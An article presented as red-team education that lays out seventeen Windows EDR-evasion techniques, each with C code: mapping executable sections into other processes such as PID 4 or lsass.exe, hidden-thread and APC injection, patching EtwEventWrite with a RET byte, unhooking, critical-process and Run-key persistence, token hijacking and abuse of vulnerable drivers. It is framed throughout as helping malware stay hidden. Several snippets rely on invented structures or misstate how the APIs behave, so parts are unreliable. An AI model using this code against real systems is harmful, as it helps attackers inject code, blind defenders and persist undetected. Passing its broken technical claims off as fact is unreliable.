Deep Windows API Manipulation: Cutting-Edge Techniques for EDR Evasion and Stealth
Unleashing Advanced Evasion Techniques in Windows with Low-Level API Manipulation
Introduction
In advanced adversarial operations, bypassing EDRs and security monitoring requires control over system internals that goes well beyond typical API hooking or patching. This article explores advanced techniques using deeply embedded, undocumented Windows functions and layered strategies that allow malware to stay hidden, avoid detection, and gain resilient persistence.
1. Creating and Mapping a Stealthy Memory Section NtCreateSection
NtCreateSection
is a powerful kernel-level function that creates a memory-mapped section that multiple processes can share. This is particularly useful for stealthy persistence, as sections can be used to hide code in non-pageable memory regions or even within critical system structures, making them nearly invisible to user-mode detection.
Advanced Use Cases for NtCreateSection
:
Code Injection via Shared Memory Sections: By injecting code into a shared memory section and mapping it into critical system-owned user-mode processes, such as
lsass.exe
or the System process (PID 4
), malicious actors can establish a foothold that’s difficult to detect. This technique does not modify kernel memory directly but hides code in high-privilege, less frequently monitored memory spaces that many EDR solutions overlook.Anti-Forensics with Immutable Sections: Immutable sections created with
SEC_IMAGE
andSEC_NO_CHANGE
can prevent other processes, including security tools, from modifying or unloading them. This creates a degree of immutability around injected code, ensuring persistence by locking down the section from interference and safeguarding it from typical user-mode memory scans.
Code Example: Creating and Mapping a Stealthy Memory Section
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#pragma comment(lib, "ntdll.lib")
#ifndef SEC_NO_CHANGE
#define SEC_NO_CHANGE 0x00400000
#endif
#ifndef ViewUnmap
#define ViewUnmap 2
#endif
typedef NTSTATUS(WINAPI* NtCreateSection_t)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
typedef NTSTATUS(WINAPI* NtMapViewOfSection_t)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
int main() {
HANDLE hSection = NULL;
LARGE_INTEGER maxSize;
maxSize.QuadPart = 0x1000;
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
if (!hNtdll) {
printf("Failed to load ntdll.dll\n");
return 1;
}
NtCreateSection_t NtCreateSection = (NtCreateSection_t)GetProcAddress(hNtdll, "NtCreateSection");
NtMapViewOfSection_t NtMapViewOfSection = (NtMapViewOfSection_t)GetProcAddress(hNtdll, "NtMapViewOfSection");
if (!NtCreateSection || !NtMapViewOfSection) {
printf("Failed to resolve NtCreateSection or NtMapViewOfSection\n");
FreeLibrary(hNtdll);
return 1;
}
// Create a shared memory section with execute and write permissions
NTSTATUS status = NtCreateSection(
&hSection,
SECTION_MAP_EXECUTE | SECTION_MAP_WRITE,
NULL,
&maxSize,
PAGE_EXECUTE_READWRITE,
SEC_COMMIT | SEC_NO_CHANGE,
NULL
);
if (status != 0) {
printf("NtCreateSection failed with status: 0x%X\n", status);
FreeLibrary(hNtdll);
return 1;
}
// Map the section into the current process's address space
PVOID baseAddress = NULL;
SIZE_T viewSize = 0;
status = NtMapViewOfSection(
hSection,
GetCurrentProcess(),
&baseAddress,
0,
0,
NULL,
&viewSize,
ViewUnmap,
0,
PAGE_EXECUTE_READWRITE
);
if (status != 0) {
printf("NtMapViewOfSection (self) failed with status: 0x%X\n", status);
CloseHandle(hSection);
FreeLibrary(hNtdll);
return 1;
}
// Write a simple payload or message into the shared section
memset(baseAddress, 0x90, viewSize);
// Now map this section into the target process (e.g., lsass.exe)
DWORD targetPid = 4;
HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
if (!hTargetProcess) {
printf("Failed to open target process\n");
NtUnmapViewOfSection(GetCurrentProcess(), baseAddress);
CloseHandle(hSection);
FreeLibrary(hNtdll);
return 1;
}
PVOID remoteBaseAddress = NULL;
status = NtMapViewOfSection(
hSection,
hTargetProcess,
&remoteBaseAddress,
0,
0,
NULL,
&viewSize,
ViewUnmap,
0,
PAGE_EXECUTE_READWRITE
);
if (status != 0) {
printf("NtMapViewOfSection (remote) failed with status: 0x%X\n", status);
CloseHandle(hTargetProcess);
NtUnmapViewOfSection(GetCurrentProcess(), baseAddress);
CloseHandle(hSection);
FreeLibrary(hNtdll);
return 1;
}
printf("Section mapped into target process at address: %p\n", remoteBaseAddress);
// Cleanup
NtUnmapViewOfSection(GetCurrentProcess(), baseAddress);
NtUnmapViewOfSection(hTargetProcess, remoteBaseAddress);
CloseHandle(hTargetProcess);
CloseHandle(hSection);
FreeLibrary(hNtdll);
return 0;
}
By mapping a section this way, malware can hide payloads in system memory regions where most EDRs won’t look, establishing deep persistence.
2. Advanced ETW and Telemetry Manipulation: Subverting Internal ETW Stacks with EtwSetProviderTraits
Standard ETW evasion involves patching or disabling functions like EtwEventWrite
, but advanced tactics can target the ETW provider traits, controlling what gets logged at a configuration level without altering ETW functions directly. EtwSetProviderTraits
is an undocumented API that allows for precise control over what an ETW provider reports.
Using EtwSetProviderTraits
for Granular Event Control
Selective Event Blocking: By adjusting provider traits, you can configure which events from a provider are recorded and which are ignored. For example, disabling specific traits for Microsoft-Windows-Security-Auditing can prevent certain security logs from being generated.
Trait-Based Fuzzing to Avoid Detection: Changing provider traits at random intervals to inject benign traits temporarily makes event analysis inconsistent, disrupting automated detections.
Code Example: Subverting Provider Traits for Covert ETW Control
1
2
3
4
5
// Modify provider traits to minimize logging
GUID providerGuid = ...; // Target provider's GUID, e.g., Security-Auditing
BYTE traits[] = { 0x00 }; // Minimal logging trait configuration
EtwSetProviderTraits(&providerGuid, traits, sizeof(traits));
Modifying ETW provider traits at this level can reduce logging from specific providers, allowing stealth operations without triggering ETW-based detection tools.
3. Covert Thread Management with NtCreateThreadEx
and ThreadExFlags
NtCreateThreadEx
is a powerful thread creation function that gives more control than CreateThread
, allowing for thread injection in suspended states, hidden entry points, and bypassing standard thread enumeration.
Advanced Use Cases for NtCreateThreadEx
:
Stealthy Thread Injection in Target Processes: By creating threads in a target process in a suspended state and then hiding them from enumeration, malware can deploy payloads undetected, avoiding both user-mode and kernel-mode hooks.
ThreadExFlags Manipulation: Setting flags such as
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER
andTHREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH
allows threads to operate without typical debugger notifications and attach notifications, bypassing hooks set onDLL_PROCESS_ATTACH
.
Code Example: Hidden Thread Creation in a Target Process
1
2
3
4
HANDLE hThread;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hTargetProcess, (LPTHREAD_START_ROUTINE)payloadAddr, NULL,
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER | THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH,
NULL, NULL, NULL, NULL);
This approach creates a thread that won’t show up in common enumeration routines, ideal for stealth execution in sensitive processes.
4. Hidden Execution Layers with NtAllocateVirtualMemory
and PAGE_WRITECOMBINE
NtAllocateVirtualMemory
is typically used for memory allocation, but combining it with specific memory protection flags, such as PAGE_WRITECOMBINE
, allows malware to allocate hidden memory regions with non-standard properties. This can be further obscured by embedding code into sparse regions of virtual memory.
Advanced Use Cases with PAGE_WRITECOMBINE
and Sparse Memory:
Sparse Memory Code Insertion: By allocating memory with
PAGE_WRITECOMBINE
orPAGE_NOACCESS
, you can create sparse memory regions that don’t trigger common memory inspection tools. Injected code hidden in non-contiguous memory addresses evades sequential memory scans.Executable Combine Pages for Covert Shellcode:
PAGE_WRITECOMBINE
combined with executable permissions enables optimized code execution in fragmented memory, bypassing most executable memory inspections that assume standard permissions likePAGE_EXECUTE_READWRITE
.
Code Example: Sparse Memory Allocation with Hidden Shellcode
1
2
3
4
5
6
PVOID baseAddr = NULL;
SIZE_T regionSize = 0x1000; // 4 KB region with sparse structure
NtAllocateVirtualMemory(GetCurrentProcess(), &baseAddr, 0, ®ionSize, MEM_RESERVE | MEM_COMMIT, PAGE_WRITECOMBINE);
memcpy(baseAddr + 0x500, shellcode, sizeof(shellcode)); // Hide shellcode in sparse region
Sparse memory allocation with unconventional permissions makes traditional memory forensics less effective.
5. Leveraging RtlSetProcessIsCritical
for Persistent, System-Resilient Processes
Marking processes as critical with RtlSetProcessIsCritical
provides persistence by locking the process against termination attempts from both user-mode and kernel-mode operations. This technique prevents system tampering by setting specific processes as irremovable, only terminating if explicitly removed by an administrator or by crashing the system.
Advanced Use Cases with Critical Processes:
Multi-Stage Persistence: By spawning multiple child processes with
RtlSetProcessIsCritical
, malware can set up a process hierarchy where terminating one process forces the others to reinitialize, creating a resilient persistence model.Protection Against EDRs and Kill Signals: Processes marked as critical can’t be killed by typical EDRs. Instead, they either fail to terminate the process or trigger a system crash, avoiding most automated containment mechanisms.
Code Example: Persistent Process Setup with Critical Flag
1
2
HANDLE hProcess = GetCurrentProcess();
RtlSetProcessIsCritical(TRUE, &hProcess, FALSE); // Set process as critical, preventing termination
By combining critical processes with stealth tactics, malware gains a robust persistence mechanism.
6. Memory Hook and Trace Blocking via NtTraceControl
and TraceProcessMemory
NtTraceControl
is a powerful function for managing trace sessions, and combined with undocumented tracing classes, it allows control over memory tracing and can selectively block trace access to specific memory regions.
Advanced Use Cases with NtTraceControl
:
- Process-Level Memory Hook Blocking: By blocking specific trace classes, malware can evade monitoring solutions that trace specific memory regions (e.g., process heaps).
- Dynamic Trace Evasion for Anti-Analysis: Adjusting memory traces on-the-fly based on sandbox indicators prevents static analysis and makes it difficult for memory-based forensic tools to track malware activity in real-time.
Code Example: Trace Blocking for Memory Regions
1
2
3
4
TRACE_CONTROL_INFORMATION traceControlInfo;
traceControlInfo.ControlCode = TRACE_CONTROL_DISABLE_TRACING;
traceControlInfo.TargetPID = GetCurrentProcessId();
NtTraceControl(TraceProcessMemory, &traceControlInfo, sizeof(traceControlInfo), NULL, 0);
Memory trace blocking directly undermines tools that rely on continuous memory introspection, effectively cloaking malware actions.
7. Token Manipulation with NtOpenProcessTokenEx
and NtDuplicateToken
Manipulating access tokens of high-privilege processes (like SYSTEM
) allows malware to execute with elevated permissions without triggering typical privilege escalation alerts. NtOpenProcessTokenEx
and NtDuplicateToken
can clone and reuse privileged tokens stealthily.
Advanced Use Cases for Token Manipulation:
Privilege Escalation without Elevation: Hijack high-privilege tokens and apply them to malicious processes to bypass User Account Control (UAC) and EDR checks.
Impersonation of Trusted Processes: Clone and apply tokens from trusted processes like
lsass.exe
for stealthy actions under a trusted process context.
Code Example: SYSTEM Token Impersonation
1
2
3
HANDLE hToken;
NtOpenProcessTokenEx(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &hToken);
SetThreadToken(NULL, hToken);
By hijacking and impersonating high-privilege tokens, malware can evade security checks tied to process privileges.
8. Process Injection with NtMapViewOfSection
in Suspended State
NtMapViewOfSection
allows mapping memory across process boundaries, providing a stealthy way to inject code. Injecting in suspended state helps prevent detection, allowing code to run without immediately executing.
Advanced Use Cases for Suspended Injection:
Silent Memory Injection: Map sections into target processes without executing code, avoiding thread-based monitoring and immediate scans.
Delayed Execution in Target Process: Run injected code only when specific conditions are met, reducing visibility.
Code Example: Mapping Hidden Section into Target Process
1
2
HANDLE hSection;
NtMapViewOfSection(hSection, hTargetProcess, &baseAddress, 0, 0, NULL, &viewSize, ViewShare, 0, PAGE_EXECUTE_READWRITE);
This approach maps memory invisibly, bypassing user-mode API hooks typically monitored by EDRs.
9. Heap Hiding with RtlCreateHeap
and Custom Flags
RtlCreateHeap
can create hidden memory regions within processes, avoiding common heap scanning tools. Setting custom flags can hide code in private heaps that are rarely inspected.
Advanced Use Cases for Hidden Heaps:
Isolated Code Storage: Store payloads in private heaps that standard user-mode heap inspections don’t target.
Heap-based Anti-Forensics: Cause controlled corruption in specific environments (e.g., in sandboxed debugging) by creating heaps with specific flags that resist inspection.
Code Example: Creating a Private Heap
1
2
PVOID hHeap = RtlCreateHeap(HEAP_CREATE_ALIGN_16 | HEAP_GENERATE_EXCEPTIONS, NULL, 0, 0, NULL, NULL);
RtlAllocateHeap(hHeap, 0, payloadSize);
This makes the payload hard to find, as it’s isolated from the standard heap structure.
10. ETW Patching with EtwEventWrite
Many security tools use Event Tracing for Windows (ETW) to monitor system events. By directly patching or disabling EtwEventWrite
, malware can prevent events from being logged without altering ETW providers.
Advanced Use Cases for ETW Patching:
Silencing Specific Logs: Patch
EtwEventWrite
to ignore critical events, especially in high-sensitivity areas like security audits.Anti-Forensics in Real-Time Logging: Disrupt logging in real-time without disabling ETW, minimizing footprints during execution.
Code Example: Disabling EtwEventWrite
1
2
BYTE patch[] = { 0xC3 }; // `RET` instruction to disable function
memcpy(EtwEventWrite, patch, sizeof(patch));
This approach prevents ETW from recording specific events, eliminating a primary source of EDR data.
11. Registry Manipulation with NtSetValueKey
NtSetValueKey
allows malware to manipulate registry keys directly, avoiding higher-level registry APIs that EDRs often monitor. This helps establish persistence or disable security policies without detection.
Advanced Use Cases for Registry Persistence:
Stealthy Persistence Keys: Modify
Run
orRunOnce
registry entries to add persistence without flagging common monitoring tools.Disabling Security Policies: Modify security-related registry keys like disabling Windows Defender through direct registry writes.
Code Example: Setting a Persistence Key
1
2
HKEY hKey;
NtSetValueKey(hKey, &keyName, 0, REG_SZ, payloadPath, pathSize);
By writing directly to the registry, malware can bypass user-mode registry monitoring hooks.
12. Hook Obfuscation with NtProtectVirtualMemory
Using NtProtectVirtualMemory
, malware can unhook functions in protected DLLs by modifying their memory protections and overwriting hooks set by EDRs.
Advanced Use Cases for Hook Evasion:
Unhooking API Functions: Restore the original code of critical functions like
NtOpenProcess
to prevent EDR monitoring.Self-Protection Against Memory Tampering: Use this to protect regions of memory, blocking attempts to re-hook.
Code Example: Unhooking Function
1
2
3
NtProtectVirtualMemory(hProcess, &apiAddr, ®ionSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(apiAddr, originalBytes, sizeof(originalBytes));
NtProtectVirtualMemory(hProcess, &apiAddr, ®ionSize, oldProtect, &oldProtect);
This prevents the EDR from capturing API calls, allowing stealthy execution.
13. DeviceIoControl-Based Payload Execution
Certain drivers expose functionality through DeviceIoControl
, allowing malware to execute payloads in a lower-level context without creating threads or direct kernel interactions.
Advanced Use Cases with DeviceIoControl:
Privileged Execution via Third-Party Drivers: Exploit less-secure drivers to perform privileged actions without full kernel access.
Indirect Code Execution in Kernel Context: Use drivers to run code indirectly, evading process-based detection.
Code Example: Sending Payload via IOCTL
1
DeviceIoControl(hDevice, IOCTL_CODE, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);
This leverages low-level drivers to perform actions that bypass common process monitoring.
14. Fileless Execution Using NtAllocateVirtualMemory
Using NtAllocateVirtualMemory
to create executable, memory-only regions helps achieve fileless execution, which evades signature-based detection and anti-virus.
Advanced Use Cases for Fileless Malware:
Stealthy Payload Execution in Memory: Allocate memory and execute without writing to disk, leaving no file artifacts.
Self-Modifying Code in Memory: Load self-contained, mutable payloads that adapt dynamically, bypassing static analysis.
Code Example: Memory Allocation for Fileless Payload
1
2
NtAllocateVirtualMemory(GetCurrentProcess(), &baseAddr, 0, ®ionSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(baseAddr, payload, payloadSize);
By avoiding disk usage, this technique greatly reduces the forensic footprint.
15. Anti-Debugging with NtSetInformationThread
and ThreadHideFromDebugger
Setting ThreadHideFromDebugger
on specific threads prevents them from being inspected by debuggers, frustrating analysis and hindering EDRs that rely on debugging techniques.
Advanced Use Cases for Anti-Debugging:
Invisible Threads for Payload Execution: Run critical code in hidden threads that are difficult to detect and enumerate.
Protection Against Analysis: Disrupt memory-based debugging, making analysis impractical.
Code Example: Hiding Threads
1
NtSetInformationThread(hThread, ThreadHideFromDebugger, NULL, 0);
Hidden threads evade monitoring from tools that rely on debugging hooks.
16. Named Pipe Impersonation with ImpersonateNamedPipeClient
Using ImpersonateNamedPipeClient
can allow malware to impersonate clients connected to a named pipe, gaining access to higher-privilege tokens in certain scenarios.
Advanced Use Cases for Impersonation:
Privilege Escalation via Trusted Pipes: Impersonate clients on trusted pipes to elevate permissions.
Cross-Process Evasion: Use impersonation to interact with other processes stealthily.
Code Example: Named Pipe Impersonation
1
2
HANDLE hPipe = CreateNamedPipe(...);
ImpersonateNamedPipeClient(hPipe);
This enables indirect access to elevated privileges.
17. Thread Injection with NtQueueApcThread
Using NtQueueApcThread
, malware can queue asynchronous procedure calls (APCs) to inject code into another process’s existing threads, avoiding new thread creation.
Advanced Use Cases for APC Injection:
Silent Injection: Execute code within existing threads of a target process, avoiding thread creation that EDRs monitor.
Stealthy Execution Flow: Trigger payloads at specific points by scheduling APCs on benign threads.
Code Example: APC Injection
1
NtQueueApcThread(hThread, (PKNORMAL_ROUTINE)payloadAddr, NULL, NULL, NULL);
APCs allow code to run as part of a legitimate process flow, evading detection.
Conclusion
These advanced techniques, leveraging deep and often undocumented Windows internals, provide a highly effective toolkit for evasion, persistence, and anti-forensics. From hidden memory allocations and kernel-level injection to opaque threading and critical process settings, this article outlines strategies for attackers to bypass monitoring solutions at every level.
These techniques highlight the need for defensive tools to advance in response, particularly in detecting non-traditional memory allocations and hidden kernel-level manipulation. As always, these strategies are for authorized, controlled environments, as unauthorized use is both illegal and unethical.
Disclaimer
The content here is provided strictly for educational and authorized red teaming purposes. Unauthorized use may result in severe legal consequences.